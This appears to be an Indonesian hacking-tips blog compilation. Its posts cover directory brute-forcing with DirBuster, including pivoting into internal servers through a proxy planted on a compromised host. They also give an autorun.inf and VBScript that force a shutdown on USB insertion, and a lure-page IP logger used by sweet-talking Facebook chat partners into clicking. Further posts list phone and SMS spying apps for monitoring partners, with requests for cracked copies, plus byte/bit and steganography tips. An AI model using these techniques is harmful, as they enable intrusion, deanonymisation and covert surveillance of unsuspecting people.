cara mencari Direktori dan File Sensitif dengan DirBuster

Berburu Direktori dan File Sensitif dengan DirBuster


Mungkin anda akan terkejut bila mengetahui bahwa ada banyak website yang berhasil dihack/dideface hanya karena sebuah kesalahan “konyol”. Tidak dibutuhkan keahlian programming, SQL atau jurus njelimet lainnya, cuma membuka sebuah direktori yang berisi file-file sensitif, maka sebuah website akan bertekuk lutut. Ya benar, ini adalah fakta yang seringkali terjadi.
Direktori Sensitif
Semua direktori atau file yang mengandung informasi berguna buat hacker untuk mendeface website anda, maka direktori itu termasuk sensitif. Beberapa direktori atau file yang tergolong sensitif antara lain:
  • Backup
Hal yang biasanya dibackup adalah database dan source script webnya. Bayangkan apa yang terjadi bila hacker berhasil mendapatkan seluruh file php dan “database dump” dalam satu file zip? Kalau anda berpikir itu tidak mungkin terjadi, anda salah besar, karena saya sering menemukan file backup berekstensi zip, tar.gz, atau sql berserakan di websitenya.
  • Halaman Login
Ada banyak macam halaman login, umumnya adalah halaman login untuk mengelola isi website, yaitu CMS Administrator. Selain CMS, halaman login yang lain adalah phpMyAdmin, cpanel, Tomcat Admin Page, AXIS2 Admin Page dll. Tomcat dan AXIS2 adalah Java based webserver dan web service platform.
Kenapa halaman login termasuk sensitif? Karena dengan mengetahui URL untuk menjadi Administrator website, seorang hacker bisa melakukan serangan SQL Injection, password guessing, dictionary attack dan brute force attack untuk membuat dirinya menjadi seorang administrator di website anda. Celakanya banyak website yang halaman login adminnya tidak menggunakan password yang kuat, bahkan menggunakan password default.
  • Log file
Log file biasanya dipakai untuk tujuan debugging atau penelusuran kesalahan oleh web developer. Karena itu tidak heran bila dalam log file banyak mengandung informasi sensitif yang bisa dimanfaatkan hacker. File log ini berbeda-beda tergantung dari web aplikasi yang dipakai karena web developer punya kebebasan untuk membuat  atau tidak membuat file log.
Salah satu contoh log file yang biasa ditemukan di web adalah WS_FTP.LOG, file ini dibuat oleh program WS_FTP, yaitu FTP Client. Setiap kali memakai program ini untuk upload ke web anda, WS_FTP akan otomatis memasukkan file WS_FTP.LOG ke dalam folder website anda. Dalam file WS_FTP.LOG ini seorang hacker bisa mendapatkan banyak informasi sensitif: antara lain IP address web server anda (banyak web yang menyembunyikan IP address sebenarnya dibalik NAT), full path lokasi document root web anda, username account hosting anda (bila dalam full path mengandung nama seperti /home/username/…./).
WS_FTP.LOG juga bisa membocorkan isi sebuah direktori bila anda sudah mematikan fitur “Directory Indexing” atau membuat file index.html kosong. Seorang hacker yang tidak bisa melihat isi direktori karena directory index dimatikan atau ada file index.html kosong, bisa mencoba membuka WS_FTP.LOG di direktori itu. Bila ternyata file WS_FTP.LOG ada, maka file log itu akan membocorkan isi file dalam direktori tersebut.
Pesan error di atas umumnya dijumpai pada direktori yang ada, tapi directory indexing tidak diaktifkan, sehingga anda harus menebak nama file yang ada di direktori tersebut. Bila directory indexing diaktifkan, maka anda akan menemukan halaman dengan title “Index of /”.
  • Versi Lama
Terkadang ketika sebuah website diupdate ke versi baru, file-file script lama disimpan dalam satu direktori bernama oldversion, version1 dan versi barunya dalam direktori /new/ atau /ver2/ atau /beta/. Menemukan beragam versi suatu web adalah kesempatan emas untuk menemukan celah keamanan karena biasanya web versi terbarunya memang tidak mengandung kelemahan, namun bila kita berhasil menemukan versi lamanya, akan ditemukan banyak celah keamanan.
Saya pernah menemukan sebuah website yang securitynya bagus, saya tidak menemukan vulnerability di sana, namun ternyata dia lupa membuang versi lama dari web tersebut. Namun ternyata web versi lama yang mengandung banyak bug dari SQL injection sampai local file injection masih bisa diakses di direktori lain. Walaupun web versi terbaru securitynya bagus, namun jadi tidak berarti apa-apa karena hacker bisa menyerang dari web versi lamanya.
Berburu Direktori dan File Sensitif
Nama direktori atau file bisa ditemukan dengan 2 cara:
  • Crawling
Crawling ini adalah cara yang dipakai oleh search engine untuk mendapatkan isi website anda.  Ini adalah cara yang “sopan”, karena kita hanya mencari apa yang memang disediakan oleh pemilik webnya. Search engine crawling akan mengikuti direktori apa yang boleh dan apa yang tidak boleh diambil dalam file /robots.txt. Jadi bila ada direktori sensitif yang bisa di-search di Google, maka itu terjadi karena di suatu situs ada pointer ke obyek itu berupa link. Bila di seluruh jagat internet ini tidak ada satupun link ke direktori itu, maka tidak mungkin direktori itu muncul di Google.
Kita bisa memanfaatkan Google Hacking untuk mencari direktori sensitif yang sengaja atau tidak sengaja ter-index oleh Google. Kita juga bisa membuat script atau memakai program semacam wget untuk melakukan crawling website  (tidak memanfaatkan Google index). Menjalankan crawler sendiri terkadang diperlukan bila kita ingin melakukan crawling direktori yang search engine dilarang untuk masuk (diblacklist di /robots.txt).
  • Guessing
Bila dengan cara sopan tidak mendapatkan direktori sensitif, maka kita terpaksa pakai cara “kasar”. Mendapatkan direktori sensitif dengan cara ini sama dengan menebak password. Ada dua cara yang bisa dipakai:
  1. Pure Brute Force Attack
  2. Cara ini adalah cara yang paling kasar. Kita mencoba semua kemungkinan kata yang muncul dari huruf , angka dan karakter lain sebagai nama direktori atau nama file. Contoh: request /aa/, lalu /ab/, lalu /ac/, lalu /ad/, demikian seterusnya sampai semua kemungkinan yang ada dicoba. Cara ini membutuhkan waktu yang sangat lama, jadi kurang efektif. Tapi kelebihannya adalah tidak ada direktori yang lolos, karena semua kemungkinan akan dicoba.
  3. Dictionary Attack
  4. Ini adalah cara yang lebih sopan dibanding pure brute force. Kita menggunakan kamus, yaitu kumpulan nama yang akan kita pakai untuk request ke web server. Efektif tidaknya cara ini tergantung dari bagaimana kualitas kamus yang dipakai. Semakin baik kualitas kamusnya, semakin besar kemungkinan berhasil mendapatkan direktori sensitif. Kamus yang baik adalah kamus berisi kata yang memang benar-benar pernah dipakai untuk nama direktori, jadi bukan nama fiktif atau karangan.
DirBuster dari OWASP
Dalam artikel ini saya akan menggunakan tools gratisan, DirBuster yang dibuat oleh OWASP (Open Web Application Security Project), sebuah kelompok non-profit yang berfokus pada keamanan web. Seperti yang sudah saya katakan sebelumnya, kekuatan tools semacam ini tergantung pada kualtias kamus yang dimilikinya.
DirBuster memiliki kamus yang sangat lengkap, bukan nama fiktif yang tidak pernah dipakai, tapi memang benar-benar nama yang pernah dipakai sebagai nama direktori. Kumpulan nama ini didapatkan dari internet dengan cara melakukan crawling terhadap situs-situs internet lalu mengelompokkannya. Kumpulan nama yang dipakai minimal 3 situs berbeda ditaruh di file dengan akhiran small.txt, kumpulan nama yang dipakai minimal 2 situs berbeda ditaruh di file dengan akhiran medium.txt, dan semua nama yang ditemukan ditaruh dalam file berakhiran big.txt.
Bila anda membutuhkan daftar nama direktori saja untuk dipakai di program lain, anda juga bisa mendownload kamusnya saja tanpa harus mendownload DirBuster.
Tools ini sangat mudah digunakan, jadi silakan saja langsung download DirBuster. Sebelumnya pastikan dulu komputer anda sudah terinstall Java, karena tools ini dibuat dengan Java.
Scanning Type
Ada dua jenis scanning yang bisa dilakukan, pure brute force atau dictionary based attack. Bila anda memilih memakai teknik pure brute force, maka anda harus menentukan character set (kumpulan karakter) yang akan dijadikan nama direktori dan tentukan juga panjang minimal dan maksimalnya. Semakin besar populasi dari character set yang anda pilih dan semakin panjang max length yang anda pilih, semakin besar kumpulan kata yang dihasilkan, itu artinya dibutuhkan waktu yang semakin lama untuk mencoba semuanya. Gambar di bawah ini adalah screenshot ketika memilih pure brute force.
Bila memilih list based brute force, maka kita harus memilih file berisi daftar nama direktori. DirBuster sudah menyediakan banyak dictionary yang bisa dipilih sesuai kebutuhan:
  • directory-list-2.3-small.txt  (87650 words) : Minimal dipakai di 3 situs berbeda.
  • directory-list-2.3-medium.txt  (220546 words) : Minimal dipakai di 2 situs berbeda.
  • directory-list-2.3-big.txt  (1273819 words) : Minimal pernah dipakai.
  • directory-list-lowercase-2.3-small.txt  (81629 words) : Versi case insensitive dari directory-list-2.3-small.txt
  • directory-list-lowercase-2.3-medium.txt  (207629 words) : Versi case insensitive dari directory-list-2.3-medium.txt
  • directory-list-lowercase-2.3-big.txt  (1185240 words) : Versi case insensitive dari directory-list-2.3-big.txt
  • directory-list-1.0.txt  (141694 words)  : Daftar awalnya, tidak terurut
  • apache-user-enum-1.0.txt  (8916 usernames) : Dipakai untuk user enumeration, mendapatkan valid username di sebuah server
  • apache-user-enum-2.0.txt  (10341 usernames) : Dipakai untuk user enumeration
Dalam list yang disediakan DirBuster juga menyediakan daftar username yang dipakai untuk user enumeration, yaitu mendapatkan nama user yang valid di sebuah server. Dalam web server Apache yang mengaktifkan mod_userdir, bisa dilakukan user enumeration dengan cara menggunakan ~namauser sebagai nama direktori.
Gambar di bawah ini adalah screenshot ketika kita memilih menggunakan dictionary attack.
Starting Options
Pilihan lain yang harus dipilih adalah starting options, yaitu di mana titik mulainya DirBuster mencari direktori. Pilihannya adalah standard start point, atau URL Fuzz. Standard start point adalah pilihan yang paling banyak digunakan karena pilihan ini berarti kita meminta DirBuster untuk menggunakan nama direktori sebagai titik awal.
Pilihan yang ada ketika kita memilih Standard Start Point adalah checkbox Brute Force Dirs yang bisa dimatikan bila kita tidak ingin ingin membrute Direktori. Brute Force Files bisa dimatikan bila kita tidak ingin mencari file. Dua pilihan tersebut bisa diatur sesuai kebutuhan, apakah ingin mencari direktori dan nama file, atau direktori saja, atau nama file saja.
Pilihan File extention bisa diisi dengan ekstensi file yang ingin dicari, misalnya bisa kita isi dengan php, zip, gz, tar.gz. Namun bila kita tidak ingin menggunakan ekstensi, kita bisa centang pilihan Use Blank Extention.
Pilihan Be Recursive digunakan untuk membuat DirBuster melakukan pencarian secara mendalam (Deep First Search), yaitu mencari subdirektori dalam sebuah direktori, mencari sub-subdirektori dalam subdirektori dan seterusnya sampai kedalaman tertentu.
Ada kalanya kita harus membrute force nama direktori yang merupakan bagian dari parameter URL. Dalam kasus seperti itu kita bisa memakai pilihan URL Fuzz. Salah satu contoh kasusnya adalah ketika kita ingin melakukan scanning melalui sebuah web based proxy seperti PHPProxy.
Ketika kita ingin scanning website internal dengan IP address private dari website public yang sudah berhasil kita susupi, kita bisa gunakan PHProxy. URL PHProxy biasanya berbentuk http://somewebsite/myproxy/?q=http://situstarget/{dir}. Dalam kasus seperti ini, pilihan URL Fuzz bisa sangat berguna. Gambar di bawah ini menunjukkan skenario tersebut. Setelah seorang hacker berhasil menguasai web server public, dia akan mengupload web based proxy seperti PHProxy. Dengan proxy tersebut hacker bisa melebarkan serangannya ke arah dalam dengan menyerang web server internal yang tidak bisa dijangkau dari internet.
Walaupun tools ini sangat sederhana, tapi jangan remehkan keampuhannya. Silakan coba saja sendiri, mungkin nanti anda akan terkejut melihat banyaknya webmaster yang sembrono menaruh file/direktori sensitif di websitenya.

cara memberi password flashdisk tanpa software

cara pasang password pada flashdisk tanpa software

Banyak aplikasi yang dapat memberi manfaat untuk mengunci flashdisk atau
memberi password otomatis ke flashdisk. Tetapi beda lagi dengan postingan kali ini,
cara ini sangat mudah dan simpel dan secara otomatis meminta password
ketika flashdisk dimasukan ke PC dan jika password salah, maka komputer akan shutdown secara otomatis.
Langsung saja.
1. Buka Notepad++ anda atau bisa dengan
notepad bawaan windows
( Caranya : Start>>All Programs>>Accessories>>Notepad atau masuk di RUN lalu ketik notepad dan Enter) lalu copy paste script kode dibawah ini ke notepad.
on error goto 0
dim s,quest,sd,m,winpath,fs
set sd=createobject("Wscript.shell")
set fs=createobject("Scripting.FileSystemObject")
set winpath=fs.getspecialfolder(0)
set s=wscript.createobject("wscript.shell")
do while quest=""
quest=inputbox("Masukkan PASSWORD, Jika anda salah dalam memasukkan password,
maka komputer ini akan ShutDown!!!","http://jakfarsidik.blogspot.com")
if quest="" then
m=MsgBox("Maaf anda belum memasukkan password...!", 0+0+48,
"http://jakfarsidik.blogspot.com")
end if
loop
if quest="TULIS PASSWORD DISINI" then
s.run "shutdown -a"
sd.run winpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
else
s.run "shutdown -s -t 0"
end if
"TULIS PASSWORD DISINI" ganti sesuai keinginan anda, itu adalah sebagai tempat password anda. Pemakaian huruf kapital sangat berpengaruh. saya sarankan memakai angka yang sudah diingat di luar kepala.
lalu save as dengan nama dengan "passwordlock.vbs" tanpa tanda kutip, sebelum di save as pastikan pilih all files.

2. setelah selesai diatas.
lalu buka Notepad lagi, untuk pengaturan otomatis setelah flashdisk dimasukan di PC.
copy paste script kode dibawah ini ke notepad.
[Autorun]
shellexecute=wscript.exe passwordlock.vbs
action=FLASHDISK TELAH DILENGKAPI CODE

anda dapat merubah kata "FLASHDISK TELAH DILENGKAPI CODE" sesuai kata-kata mutiara keinginan anda sendiri.
setelah itu lakukan penyimpanan seperti file yang pertama, tetapi pada bagian File name tulislah "autorun.inf" tanpa tanda kutip, sebelum di save as pastikan pilih all files.

Kemudian pindahkan kedua file yang telah anda buat tadi (autorun.inf dan passwordlock.vbs) ke dalam flashdisk anda.

langkah terakhir silahkan anda hidden autorun.inf dan passwordlock.vbs yang telah dibuat tadi.
Cara hidden : klik kanan pada masing- masing "autorun.inf dan passwordlock.vbs" lalu pilih properties centang kotak yang ada di tanda hidden. selesai . . . .

Cara Mengetahui IP Lawan via Chatting Facebook

Cara Mengetahui IP Lawan via Chatting Facebook


Tutorial ini digunakan untuk mengetahui IP lawan dengan cara chat di FaceBook.
Hal ini bermanfaat untuk mengidentifikasi lawan melalui media Social Engineering.
Cara Mengetahui IP Lawan
Ada beberapa yang perlu disiapkan yaitu:
  1. Sebuah SERVER HOSTING yang bisa dipakai untuk menyimpan file logger.
  2. Sebuah LINK content / halaman menarik yang dapat digunakan untuk mengalihkan perhatian lawan.
  3. FILE LOGGER itu sendiri.
Instalasi FILE LOGGER kedalam CONTENT:

  1. Bikin sebuah artikel yang indah & menarik, sehingga akan banyak orang yang akan melihat.
  2. Kemudian buatlah file HTML, misalkan simpan difile: “galau.html“.
  3. Pada sela-sela code html tersebut, masukkanlah / inject code logger kedalam source htmlnya.
  4. Sesuaikan / edit alamat email untuk pengiriman hasil IP target di dalam code loggernya.
  5.  Kemudian upload file tersebut ke server hosting.
  6. Pastikan serverhosting memiliki kemampuan  pengiriman email seperti: SMTP / POP3
  7. Nanti file tersebut dibuka dengan: http://www.situsanda.com/galau.html
Cara yang dipakai disini adalah:
  1. Berusaha chatting dengan lembut dan baik dengan lawan chatting kita.
  2. Kemudian rayulah lawan untuk dapat meng-klik LINK yang sudah kita berikan tadi.
  3. Konfirmasikan ke lawan apakah sudah membaca link dengan cara menanyakan apa isi linknya.
  4. Link yang anda kirimkan adalah link logger yang tadi yaitu http://www.situsanda.com/galau.html
Setelah dapat dipastikan bahwa lawan kita sudah melihat link tersebut.
Maka, jreeengggggg.. kita lihat hasilnya. Itulah dia IP lawan chatting kita di Facebook.
Untul lebih jelas detailnya silakan ditonton disini:
File yang dibutuhkan, silakan download disini:

Selamat mencoba & semoga berhasil :)

Perbedaan KBps dan Kbps

Perbedaan KBps dan Kbps

PENTING ! Anda Ketahui disinilah banyak persepsi salah! Sebenarnya antara KBps dan Kbps adalah beda, memang dalam pengucapan banyak yang sama.
Pada dasarnya KBps dan Kbps merupakan satuan yg sangat berbeda. pernah liat kan iklan promosi para ISP (Speedot, IM*, atau Tel*sel Flash) yg menawarkan speed inet mulai up to 128 Kbps – 7.2 Mbps?? Tapi kenapa pas donlot real gak prnah dapet segitu ya?? kenapa gtu ??
Berikut penjelasan detailnya:
* KBps (Kilobyte per second)
* Kbps (Kilobit per second)
Konversi 1 byte = 8 bit

Untuk mengetahui speed download realnya, gampangkan, tinggal dibagi aja speed yg d kasih ISP dgn angka 8 (Delapan)
Berikut listnya:
128 Kbps: 128/8= 16 KBps
256 Kbps: 256/8= 32KBps
384 Kbps: 384/8= 48 KBps
512 Kbps: 512/8= 64 KBps
1 Mbps : 1024/8= 128 KBps
Hal ini sering menimbulkan pertanyaan “katanya 256 kbps kok dapatnya waktu download cuman 32 KBps ? Kalau dijabarkan,
Jika 1 Byte = 8 bit artinya bila berlangganan 1 Mbps Dedicated dan dapatnya adalah 128 KBps x 8 = 1024 Kbps / 1 Mbps
Jika kecepatan 256 kbps maka yang didapat adalah 256/8= 32 KBps
Jika kecepatan 384 kbps maka yang didapat adalah 384/8= 48 KBps
Semoga bermanfaat :)

byte-bit
Inget dulu pas waktu kuliah, kalo ga salah jaman mata kuliah sistem berkas. Waktu itu ditanya
Apa bedanya bit dengan byte? Namanya juga mashiswa cupu, pada bengong aja :D . Sampai sekarang, kedua istilah itu kadang kita dengar, terutama dalam hal koneksi internet/ kecepatan / bandwith dll.

Sering orang bicara “kecepatan internetku 384kbps tapi ko download cuma 30-40kbps ya?”
Sebenarnya kedua istilah itu apa sih? Kalau saya ambil dari wikipedia,
bita (Bahasa Inggris: byte) adalah istilah yang biasa dipergunakan sebagai satuan dari penyimpanan data dalam komputer. Satu bita terdiri dari delapan bit.
Huruf B digunakan dalam singkatan kepada byte. (bit menggunakan singkatan b.) seperti kB = kilobita. Cakram keras (hard disk) berkapasitas 40GB secara mudahnya bermaksud cakram keras tersebut mampu menyimpan hingga 40 ribu juta (milyar) bita atau gigabita data.
Jadi Byte dengan bit adalah berbeda. Biasanya kecepatan internet ditawarkan 384kbps, berarti untuk kecepatan dalam Byte adalah 384 / 8 = 48 kBps artinya dalam satu detik, dapat menghantarkan data sebesar 48 kilo byte.
Contoh perhitungan Byte dan bit
Misalkan anda memiliki sebuah file yang terdiri dari 100.000 kata dan anda ingin tahu berapa lama kita bisa mendownload file tersebut melalui internet yang memiliki koneksi 33.600 bps.
Asumsikan dalam setiap kata terdiri dari 5 huruf/karakter. Berarti jika ada 100.000 kata, maka anda memiliki 500.000 huruf/karakter:
Setiap karakter terdiri dari 1 Byte, berarti anda memiliki 500.000 Byte
Setiap Byte terdiri dari 8 bit, berarti 500.000 Byte yang anda miliki bernilai 500.000 x 8 = 4.000.000 bit
Selanjutnya 4.000.000 bit yang anda miliki dibagi dengan 33.600 = 119 detik
Artinya waktu anda untuk mendownload file yang memiliki 100.000 kata kurang lebih 119 detik (2 menit) dengan kecepatan akses 33.600 bps
Dalam jaringan komputer, biasanya Byte dan bit dipakai utk menggambarkan kecepatan transfer/download data.
Satuan KBps (KiloByte/second) dipakai jika data di sini secara umum memakai Byte untuk satuannya (contohnya seperti protokol-protokol yang ada pada level aplikasi seperti http,ftp,smtp,dsb).
Sedangkan kbps (kilobit/second) dipakai jika data yang ditransfer memakai bit untuk satuannya (contohnya adalah protokol-protokol layer 2 ke bawah seperti ethernet yang mentransfer data dalam frame-frame).
Itu sebabnya kecepatan sebuah modem tertulis = 33.6 kb/s (karena modem termasuk dalam protokol layer 2 kebawah seperti halnya ethernet), sedangkan saat kita mendownload sebuah file, maka browser akan memperlihatkan (misal) 3 KB/s (karena browser terkoneksi dengan protokol http/ftp).
Mengapa 1 Byte = 8 bit ?
Ada dua cerita. Pertama, saat masih jaman punch card (kartu berlubang). Kedua, saat jaman pertama munculnya teknologi prosesor yang berbasis 8 bit.
Cerita pertama. Punch card teknologi terakhir mampu menangani karakter sejumlah 64 karakter dimana tiap karakter dikodekan dalam susunan 8 kombinasi lubang. IBM, selaku produsen mesin punch card, menyebut kombinasi 8 lubang tsb dengan ‘byte’ yang katanya semakna dengan ‘octet’. Meskipun begitu, kombinasinya masih belum dalam format ASCII karena waktu itu memang belum ada standarisasi ASCII.
Cerita kedua, lanjutan dari cerita pertama. Teknologi punch card ini kemudian berkembang menjadi teknologi prosesor yang saat itu baru mampu bekerja dalam kombinasi biner 8 digit. Maka diadopsilah kombinasi 8 lubang punch card ke dalam biner 8 digit yang semakin ‘menguatkan’ istilah ‘byte’.
Demikianlah, akhirnya ‘byte’ kemudian dipake sebagai satuan 8 digit biner. Sehingga walaupun teknologi prosesor berkembang hingga mampu bekerja dalam 16 digit, tetap disebut sebagai 2 byte.
Kemudian, sekedar menambah informasi. Karakter ada dua jenis, yaitu singlecode character dan unicode character. Keterbatasan standar ASCII yang hanya mengenali sejumlah 256 karakter tidak lagi mencukupi kebutuhan perkembangan IT yang semakin mendunia. Pada awalnya, hal ini diatasi dengan mengembangkan character encoding yang memetakan ulang 256 karakter untuk wilayah2 tertentu. Misalnya, di Asia karakter ke-60 adalah ‘A’, tapi di Eropa karakter ke-60 adalah ‘À’. Tapi ini jadi masalah saat tulisan Eropa (dengan encoding Eropa) mau dibaca di Asia (dengan encoding Asia) karena tulisannya jadi kacau balau. Karena itu dikembangkanlah standar baru yang disebut unicode character dimana satu karakter tidak lagi diwakili 1 byte, melainkan 2 byte.
(sumber : http://patembe.com/2009/07/26/perbedaan-antara-byte-dan-bit/)
Semoga dengan sedikit tulisan ini, kita tidak salah kaprah lagi dalam menggunakan istilah Byte Bit Kbps Kbps
Source : http://blankc0de.us

10 Aplikasi Penyadap Telepon dan Sms

10 Aplikasi Penyadap Telepon dan Sms

Bnyak tmen2 yg nnya soal gmna cara nyadap telpon, gmna cara nyadap sms, ampe bnyak yg buat dobel thread...
nah utk ngejawab pertanyaan td ane mo ngasih tau niy, cr2 n' aplikasi tuk ngeyadap telpon ma sms,, klo udh ada yg buat thread kya gini, mnding niy thread di apus aja.. biar ga triple thread, Occ mod?? 

niy Aplikasi2 nya :

1) Mobile Secuware
Fitur penyadap Mobile Secuware bisa digunain utk memantau pacar aato tmen kita lewat fitur Remote Monitoringvnya. Selaen ntu Aplikasi ini dibekali kemampuan anti maling, jd klo hp ncang2 pd ilang ato di curi, kita bisa tau lewat fasilitas M-Trax (data2 nya pun bisa di selamatin)
aplikasi nya bisa di donlot di http://www.mobile-secuware.com

2) Xelnex Lite
Xelnex Lite bisa digunain utk ngerekam pembicaraan ditelpon tanpa didahului bunyi 'beep'. jd terjaga kerahasiaaan nya,,
sayang nya aplikasi niy masih shareware alias bayar, tp kita bisa nyoba versi trial nya selama 10 hari n' aplikasi niy kompatibel utk Symbian S60 3rd edition.
klo ada yg mo nyoba donlot aja di http://shop.psiloc.com/d/s60/XelnexLite_s603rd.sisx

NB : klo udah ada yg bisa nge crack nya, tolong di share yaa..

3) Mobile-Spy
Pengguna hp Symbian S60 udh bisa make layanan pengintip isi hp dr jarak jauh. Dgn layanan ini mereka bisa mengetahui informasi lalu lintas sms dan telpon, yg bisa diakses dr pc ato hp laen lewwat server yg disediain.
selaen Symbian, hp yg berbasis windows Smartphone jg bisa make aplikasi niy...
sayang nya aplikasi niy juga msh trial, klo ada yg mo nyoba donlot di http://www.mobile-spy.com/MobileSpy.CAB versi trial nya cuman 7 hari

NB : klo udah ada yg bisa nge crack nya, tolong di share yaa..

4) BT Info
aplikasi yg niy cuman memanfaatkan bluetooth doank, ya jd sama lah kya aplikasi2 laen...
klo ada yg mo nyoba, donlot di http://en.k508i.wz.cz/jar/ftp_bt_105.jar
BT Info jg bisa digunain utk ngendaliin semua fungsi hp, kaya nelpon, kamera, alarm, master reset, ampe matiin hp juga bisa.

5) Call Rrecorder dan AGLAYA Call Magic
fungsi nya cuman utk ngerekam pembicaraan telpon doank,,
klo ada yg mo nyoba, donlot disini aja http://symbianware.com <== utk Call Recorder nya
http://www.aglaya.com/symbian/symbia...call_magic.asp <== utk AGLAYA Call Magic nya

6) TimedSpy
klo pnya hp Symbian S60 v.2 bisa langsung make tnpa alat tambahan,,
fungsi nya utk mengintai orang, jd aplikasi nya melakukan pemotretan trus hasil nya lngsung dikirm gituu...
klo ada yg mo nyoba, donlot di http://www.diginaut.com/mobile/archi...edSpyTrial.sis

7) Magic Blue Hack
Aplikasi garapan Humayan Kabir Pavel dan Avishek Ahmed ini, kompatibel utk ponsel Java MIDP 2.0 berBluetooth, Symbian s60, dan PDA.
Fitur yg tersedia yaitu Make Call, Send SMS, Phonebook, Write Ph Book, Answer Call, dan Hang Call.
klo ada yg mo nyoba, donlot di http://www.getjar.com/products/175782/MagicBlueHack

8) BT Teror
Untuk usil2an, bisa di donlot di http://www.symbian-freak.com/downloa...eror_S60v3.zip.
Fungsi nya untuk memanipulasi bluetooth, jd aplikasi nya utk ngirim file2 ke hp target terus2an,, jd kaya flooding gitu deh...
Aplikasi niy harus terintregrasi pula dengan program Python S60 dan Python Script Shell. Utk nge donlot Python nya bisa donlot di http://sourceforge.net/project/showf...roup_id=154155

9) Mobiscope beta
Seiring kemajuan teknologi, dengan memanfaatkan jaringan internet kita bisa menikmati layanan video streaming. Jd, nnti nya kita bisa membroadcast pantauan webcam melalui server dari suatu penyedia layanan. Hingga kita bisa dengan mudah mengaksesnya lewat hp, sekalipun jarak kita jauh. Mayoritas ponsel yg beredar di pasaran bisa melakukannya, mengingat sudah dijejali teknologi bearer data (GPRS/3G).
klo ada yg mo nyoba, donlot di http://www.mobiscope.com/.
dengan aplikasi ini, kita bisa mengakses webcam lewat hp dengan aman dan nyaman. Menarik nya lg, aplikasi niy dilengkapin fitur sensor gerak dan scheduler, utk merekam situasi pada waktu tertentu.

10) SMS Anywhere
SMS Anywhere fungsi nya nge forward semua sms yg dikirim n' diterima ponsel target ke ponsel kita.
klo ada yg mo nyoba, donlot di http://www.wireless-labs.com/smsanywhere/


Nah,, sekarang terserah ncang2 pd mo make yg mna...
tinggal di sesuain ama keadaan sekitar nya,, hehehehe....  


Have fun,

Cara Menyembunyikan File Dalam Gambar

Cara Menyembunyikan File Dalam Gambar

Kali ini ane mau berbagi cara menyembunyikan file di dalam file gambar,music,video.pake winrar sih sebenernya udah aman dari orang lain maupun virus namun file winrar yg terprotrksi password dapat di bobol juga,nah kalo file di sembuntikan di gambar,music, atau video pasti lebih aman dan orang lain ga akan curiga dan pasrinya aman dari virus. caranya lumayan mudah,langsung aja ke TKP nya gan :
  1. Buatlah folder untuk meletakan file-filenya agar lebih mudah
  2. Jadikan file yg anda akan sembunyikan ke format rar atau zip (klik kanan pada file pilih add to winrar)
  3. Siapkan file gambar,music, atau video
  4. Simpan file gambar dan file rar/zip dalam folder yg tadi dibuat
  5. Buka notepad
  6. Copy code berikut : copy /b file gambar,music,atau video + file rar/zip nama hasil file nya (Contoh : copy /b apel.jpg + test.rar apel02.jpg)
  7. Save dengan format ” .bat ” dan simpan di folder yg tadi dibuat
  8. Klik dua kali pada file .bat yg tadi kita buat
  9. Cek hasil file nya dengan cara klik kanan pada file hasilnya lalu pilih open with , dan pilih winrar
Untuk lebih jelasnya silahkan download tutorialnya:

SELESAI
File anda sudah aman,selamat mencoba ya dan semoga bermanfaat
* Mari budayakan berbagi, Salam BinusHacker Family *

Menyembunyikan File Dalam Gambar

Apakah anda mempunyai keinginan untuk menyembunyikan file-file pribadi anda agar tidak bisa di lihat oleh orang lain? sebenarnya cara sederhana adalah dengan cara meng-hidden file yang ingin disembunyikan, tetapi cara ini ada kelemahannya. File tersebut bisa di lihat apabila seseorang meng-aktifkan fitur Show hidden files and folder pada menu Folder options.
Trik Menyembunyikan File Dalam Gambar JPEG dan JPG Image
Pada trik kali ini kita akan mencoba menyembunyikan file rahasia ke dalam gambar dengan menggunakan Aplikasi Jpeg+FileBinder. Tetapi tetap saja kita membutuhkan beberapa program pendukung lainnya seperti WinZip, 7zip, dan lain sebagainya, karena nantinya sebenarnya file tersebut menjadi bentuk kompresi tetapi seakan-akan menjadi gambar.
Langkah-langkah yang harus dilakukan:
  1. Untuk percobaannya, buat satu file dari notepad. Dalam contoh kali ini penulis membuat file fastncheap.txt. Trik Menyembunyikan File Dalam Gambar JPEG dan JPG Image
  2. Dilanjutkan dengan mengkompress file tersebut dengan WinRAR ke dalam bentuk ZIP. Trik Menyembunyikan File Dalam Gambar JPEG dan JPG Image
  3. Jalankan Aplikasi Jpeg+FileBinder untuk memulai trik penyembunyian file. Trik Menyembunyikan File Dalam Gambar JPEG dan JPG Image
  4. Masukkan satu file gambar yang ingin digunakan sebagai tempat persembunyian File rahasia pada kolom Pictures.
  5. Masukkan file yang ingin di sembunyikan ke dalam kolom Compressed File, ingat! file tersebut sudah kita buat pada langkah no 2.
  6. Pada Output Picture File, ketikkan nama yang anda ingini sebagai nama gambar yang akan di buat.
  7. Kemudian klik tombol OK. Maka akan tercipta sebuah file gambar yang di dalamnya terdapat file rahasia anda. Trik Menyembunyikan File Dalam Gambar JPEG dan JPG Image
  8. Untuk mencoba apakah trik ini berhasil anda bisa membuka file gambar yang sudah tercipta tadi menggunakan WinRAR. Klik Kanan pada file gambar kemudian Open With > WinRAR. Trik Menyembunyikan File Dalam Gambar JPEG dan JPG Image
  9. Segera kita dapat mengetahui isi file gambar tersebut. Trik Menyembunyikan File Dalam Gambar JPEG dan JPG Image
Cara ini sebenarnya sangat efektif dimana bila seseorang melihatnya sepintas tak akan pernah berfikir bahwa di dalamnya terdapat file rahasia, karena gambar tersebut bisa di lihat melalui Microsoft Frame Picture akan tetap seperti gambar.
Tetapi bisa anda menyimpan file yang agak besar ukurannya, cara ini bisa sangat mencurigakan. Karena gambar yang biasanya pixelnya rendah mempunyai ukuran 100 MB karena di dalamnya terdapat file rahasia anda. Selalu gunakan cara-cara di atas dengan bijak. Trik Menyembunyikan File Dalam Gambar JPEG dan JPG Image
Sumber: http://blog.fastncheap.com/trik-menyembunyikan-file-dalam-gambar-jpeg-dan-jpg/#ixzz1vUpIhpqs

STEGANOGRAFI


Tutorial kali ini kita akan membahas teknik steganografi yaitu menyembunyikan sebuah file ke dalam file gambar. Teknik Steganografi ini kabarnya digunakan para teroris untuk saling berkomunikasi untuk merencanakan pengeboman gedung WTC. Dan uniknya lagi, teknik ini baru diketahui oleh FBI setelah beberapa tahun peristiwa pengeboman itu berlalu.

